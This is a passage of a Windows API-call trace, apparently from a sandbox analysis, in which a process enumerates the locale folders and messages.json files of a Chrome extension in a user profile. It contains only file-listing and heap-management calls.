| out: hFindFile=0x639a08) returned 1 [0273.389] GetProcessHeap () returned 0x550000 [0273.389] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.390] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0273.390] GetProcessHeap () returned 0x550000 [0273.390] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.390] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.390] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.390] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.390] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.390] GetProcessHeap () returned 0x550000 [0273.390] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.390] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0273.390] GetProcessHeap () returned 0x550000 [0273.390] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.447] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.447] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c12fb00, ftLastWriteTime.dwHighDateTime=0x1d0f3ee, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.447] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c12fb00, ftLastWriteTime.dwHighDateTime=0x1d0f3ee, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.447] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.448] GetProcessHeap () returned 0x550000 [0273.448] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.448] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0273.448] GetProcessHeap () returned 0x550000 [0273.448] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.448] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.448] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.448] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.448] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.449] GetProcessHeap () returned 0x550000 [0273.449] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.449] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0273.449] GetProcessHeap () returned 0x550000 [0273.449] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.501] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.501] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.501] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.501] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.501] GetProcessHeap () returned 0x550000 [0273.501] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.501] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0273.501] GetProcessHeap () returned 0x550000 [0273.501] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.502] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.502] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.502] GetProcessHeap () returned 0x550000 [0273.502] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.502] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0273.502] GetProcessHeap () returned 0x550000 [0273.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.557] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.557] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.557] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.557] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.557] GetProcessHeap () returned 0x550000 [0273.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.557] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0273.558] GetProcessHeap () returned 0x550000 [0273.558] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.558] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.558] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.558] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.558] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0273.558] GetProcessHeap () returned 0x550000 [0273.558] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0273.558] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0273.558] GetProcessHeap () returned 0x550000 [0273.559] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0273.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0273.649] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.649] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: 